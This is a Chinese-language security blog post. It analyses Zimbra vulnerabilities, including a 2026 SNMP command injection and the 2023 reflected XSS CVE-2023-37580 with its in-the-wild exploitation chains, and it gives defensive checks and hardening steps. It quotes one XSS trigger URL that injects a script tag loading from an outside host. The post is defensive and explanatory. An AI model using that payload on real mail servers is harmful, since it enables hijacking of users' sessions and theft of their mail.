邮件服务器为什么总被打穿：从 Zimbra CVE-2026-73570 到十年未断的 XSS 链条

邮件服务器为什么总被打穿：从 Zimbra CVE-2026-73570 到十年未断的 XSS 链条

邮件服务器是少数几个"必须对公网开放、又握着全部身份凭证"的系统。它同时是攻击面最宽、补丁最容易被拖延的目标之一。今年 8 月 CISA 把 Zimbra 的一个命令注入漏洞塞进 KEV 目录时，给了联邦机构 3 天修复窗口，这个期限本身就说明问题有多严重。

这篇不聊"邮件安全很重要"这种废话，我们拆三个真实的东西：一个 2026 年的未授权命令注入、一条从 2023 年用到现在的 XSS 攻击链，以及为什么邮件服务器成了 XSS 的重灾区。

一、CVE-2026-73570：一封 SMTP 请求拿到 Zimbra 用户权限

先说最新这个。NVD 的官方描述是：

Zimbra Collaboration (ZCS) 在 10.1.20 之前存在远程代码执行漏洞，当安装了可选的 zimbra-snmp 包并启用了 SNMP 通知时，由于 SNMP 通知处理过程中对不可信输入消毒不当，未授权攻击者可以发送特制的 SMTP 请求，导致以 Zimbra 用户身份执行任意操作系统命令。

CVSS 3.1 评分 8.9（AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L）。拆开看几个关键字段：

• PR:N：无需任何认证。这是最要命的一点，攻击者不需要账号，直接对着 25 端口打。
• AC:H：攻击复杂度"高"，这是它能停在 8.9 而不是 9.8 的唯一原因。触发条件有两个前置：zimbra-snmp 包被安装、且 SNMP 通知已启用。
• S:C：作用域变更，意味着影响可以从邮件组件扩散到宿主系统。

漏洞本质是输入消毒缺失导致的命令注入。Zimbra 的 SNMP 通知子系统在把事件内容拼进通知流程时，没有对来自 SMTP 的输入做转义，攻击者构造的 SMTP 请求就能把 shell 元字符带进最终执行的命令里。落地成 zimbra 用户权限的命令执行。

CISA 在 2026-08-21 把它加入 KEV，要求的处置只有一句话：按厂商指引打补丁，评估每个资产的公网暴露面。这里有个容易被忽略的运维现实：zimbra-snmp 是可选包。装它的人本来就不多，但装了的人往往是因为接了监控系统，而监控系统恰恰意味着这台机器往往有更宽的出网权限。攻击面小、但每命中一个收益极高，这正是 APT 喜欢的特征。

排查自己有没有暴露，最快的办法是确认这个包的状态和端口：

# 是否安装了可选 SNMP 包
dpkg -l | grep zimbra-snmp

# SNMP 相关端口/进程是否在跑
ss -tlnp | grep -E ':(161|162)\b'

# 邮件侧开放面（含 25/465/587）
ss -tlnp | grep -E ':(25|465|587)\b'

如果 zimbra-snmp 装了但你根本没有 SNMP 监控需求，直接卸载是最干净的选择，比赌补丁来得及更快。

二、2023 年的老链子：从一次反射型 XSS 到自动转发规则

现在把时间拨回去。CVE-2026-73570 不是孤例，它站在一条至少三年的链条末端。Google TAG 在 2023 年披露的 CVE-2023-37580 是个很好的解剖样本，因为攻击者把"一次 XSS"榨出了四种完全不同的收益。

漏洞本身

CVE-2023-37580 是个反射型 XSS。问题出在 Zimbra 把 URL 里的 st 参数直接拼进了网页，没有转义。触发 URL 长这样（来自 TAG 原文，域名已替换）：

https://mail.REDACTED[.]com/m/momoveto?st=acg"/><script src="https://REDACTED/script.js"></script>//

看着平平无奇，但 st 参数里的闭合引号让 payload 跳出了原本的 HTML 属性上下文，直接把 <script> 标签注入了页面。修复方式也很朴素：在把 st 的内容写进 HTML 对象属性之前做转义。

就这么一个"忘了转义"的疏忽，攻击者拿到了在受害者邮件会话里执行任意 JS 的能力。而一旦你在别人的邮件会话里能跑 JS，能做的事就远超"弹个窗"。

四种收益

收益一：直接把邮件和附件偷走，并设置自动转发。 最早的在野利用针对一个政府机构，攻击者群发带恶意链接的邮件，只要目标在已登录状态下点开，就加载了一个窃取框架。这个框架不只偷邮件和附件，还会创建一个自动转发规则，把后续所有邮件静默转发到攻击者控制的地址。这是关键：偷一次是快照，转发规则是持续订阅。

收益二：凭据钓鱼。 另一组攻击者用同一个 XSS 加载一个伪装的登录页，骗用户输入 Webmail 凭据，并把窃取到的凭据 POST 到他们事先攻陷的官方政府域名上。用被攻陷的合法域名接收凭据，钓鱼检测基本失效。

收益三：偷认证 token。 补丁发布后的 8 月，还有人用这个漏洞窃取 Zimbra 的认证 token 并外传到 ntcpk[.]org。偷 token 比偷密码更麻烦，因为它绕过了改密码的补救措施。

收益四：把 XSS 当投递器。 同一个洞可以加载任意第三方脚本，等于在邮件系统里开了一个可持续更新的后门。

最值得记住的一点：攻击者盯着开源仓库

TAG 记录到至少四组攻击者利用了这个漏洞，其中三组的活动都发生在修复代码推送到公开仓库之后。Zimbra 在 2023-07-05 把 hotfix 推到公开 GitHub，官方 advisory 到 07-13 才发，正式补丁 07-25 才落地。中间这 20 天，攻击者通过读提交记录反推出漏洞位置，抢在补丁前做 N-day 利用。

这就是为什么"提交了修复代码"不等于"用户可以修了"。对防守方来说，订阅厂商的 security advisory，而不是盯着代码仓库；对厂商来说，把 fix 推公开仓库和让用户能装上补丁之间，不该有真空期。

三、邮箱客户端为什么是 XSS 灾区

把近两年的邮件服务器 CVE 排一排，会发现 XSS 占了压倒性多数。下面是 CISA KEV 里这批被标记"在野利用"的邮件类漏洞：

CVE	类型	评分	要点
CVE-2025-27915	Zimbra 存储型 XSS	5.4	ICS 文件里的 ontoggle 事件触发，可设置邮件转发规则
CVE-2025-48700	Zimbra Classic UI XSS	6.1	HTML 内容消毒不足
CVE-2025-66376	Zimbra Classic UI 存储型 XSS	7.2	CSS @import 指令绕过，进邮件即触发
CVE-2025-68645	Zimbra Classic UI LFI	8.8	/h/rest 端点请求分发可包含 WebRoot 下任意文件
CVE-2025-49113	Roundcube RCE	9.9	_from 参数未校验 → PHP 对象反序列化
CVE-2020-7796	Zimbra SSRF	9.8	WebEx zimlet 装了就中招

几个技术细节值得单拎出来。

CSS @import 也能 XSS（CVE-2025-66376，7.2 分）。 这是一个把"CSS 是样式不是代码"的直觉彻底击穿的漏洞。攻击者在 HTML 邮件里塞进 CSS @import 指令，Zimbra 10 的 Classic UI 在处理邮件时会对它求值，从而实现存储型 XSS。纯看邮件、不点任何链接就能触发，这就是它敢标 7.2、且进了 KEV 的原因。

ICS 里的 ontoggle（CVE-2025-27915）。 日历邀请文件（ICS）里的 HTML 会被渲染，攻击者在 <details> 标签的 ontoggle 事件里挂载 JS，用户一查看带恶意日历项的邮件就执行。KEV 的描述直接点名了后果：设置邮件过滤器，把邮件重定向到攻击者地址。跟 2023 年那条链子的收益完全一致：攻击者要的从来不是"控制一台机器"，而是"持续看到你的邮件"。

Roundcube 的 9.9 分 RCE（CVE-2025-49113）。 这个和 Zimbra 是两条独立的产品线，但常被一起部署。program/actions/settings/upload.php 里的 _from 参数没做校验，导致 PHP 对象反序列化，认证用户即可远程代码执行。注意这里是 PR:L（需要认证），但对攻击者来说，拿到任意低权限邮箱账号本身不难。

把这几条连起来看，邮件客户端的安全模型有个结构性困难：它必须在"渲染来自任何人的富文本"和"执行环境与自身会话绑在一起"之间走钢丝。浏览器至少还有同源策略和站点隔离层层兜底；邮件客户端往往直接在应用会话里渲染第三方 HTML，一次消毒疏漏，就直接落在高权限上下文中。

四、作为运维方，我会怎么处理

不喊口号，列几条可执行的。

第一，把 KEV 当优先级清单，而不是当新闻看。 联邦机构 3 天修复窗口的 CVE，如果你的 Zimbra 有公网暴露，值得当天处理。curl 一下 KEV 目录并按 vendor 过滤，比等周报快得多：

curl -sL https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \
  | python3 -c "import json,sys; d=json.load(sys.stdin); \
    [print(v['cveID'], v['dateAdded'], v['dueDate'], v['vulnerabilityName']) \
     for v in d['vulnerabilities'] if 'zimbra' in v['product'].lower()]"

第二，删掉不需要的可选组件。 zimbra-snmp 这类包是这次 8.9 分漏洞的前置条件。不用的组件就是纯增加的攻击面。

第三，邮件服务器的日志要单独看"规则变更"。 2023 年那条链子的核心收益是设置自动转发规则。检测这种持久化，比检测 XSS 本身容易得多，因为没有人会无缘无故新建一条转发到外部陌生地址的规则。把 Zimbra 的审计日志里 filter/forward 相关的操作单独告警，是投入产出比最高的一步：

# 审计日志中查找过滤器/转发相关的配置动作
grep -iE 'filter|forward|redirect' /opt/zimbra/log/audit.log \
  | grep -viE 'localhost|127\.0\.0\.1' | tail -50

第四，Classic UI 能关就关。 上面这批 XSS 有一半以上集中在 Classic UI（CVE-2025-48700、CVE-2025-66376、CVE-2025-68645）。新版 Web 客户端不是没有洞，但 Classic UI 的历史包袱明显更重。没有兼容性硬需求的话，把用户迁到新版界面，等于一次性缩小一批攻击面。

写在最后

从 2023 年的反射型 XSS，到 2026 年 SNMP 子系统里的命令注入，Zimbra 这类邮件服务器被打穿的剧本其实高度一致：一个不起眼的输入消毒疏漏，落在"已登录会话 + 全量邮件数据 + 公网可达"这个高价值上下文里，然后被攻击者榨成邮件窃取、凭据钓鱼、token 盗取三种收益。

防守端能做的事也不神秘：打补丁要快、组件要瘦、日志要看、老旧 UI 要淘汰。邮件服务器不会因为它是"基础设施"就自动安全，它恰恰因为太关键，才需要被当成天天可能失守的系统来对待。

⚠️ 网络安全免责声明

本文内容仅供技术研究与安全学习之用。文中描述的漏洞分析、攻击链拆解和代码示例均基于公开披露的安全研究，旨在帮助开发者理解攻击原理、提升安全意识和防御能力。

请勿将本文所述技术用于任何未经授权的安全测试、渗透攻击或非法用途。任何因滥用本文信息而造成的法律后果，由使用者自行承担，与本文作者无关。

如发现系统安全漏洞，请通过合法渠道向相关厂商或平台报告，共同维护网络安全生态。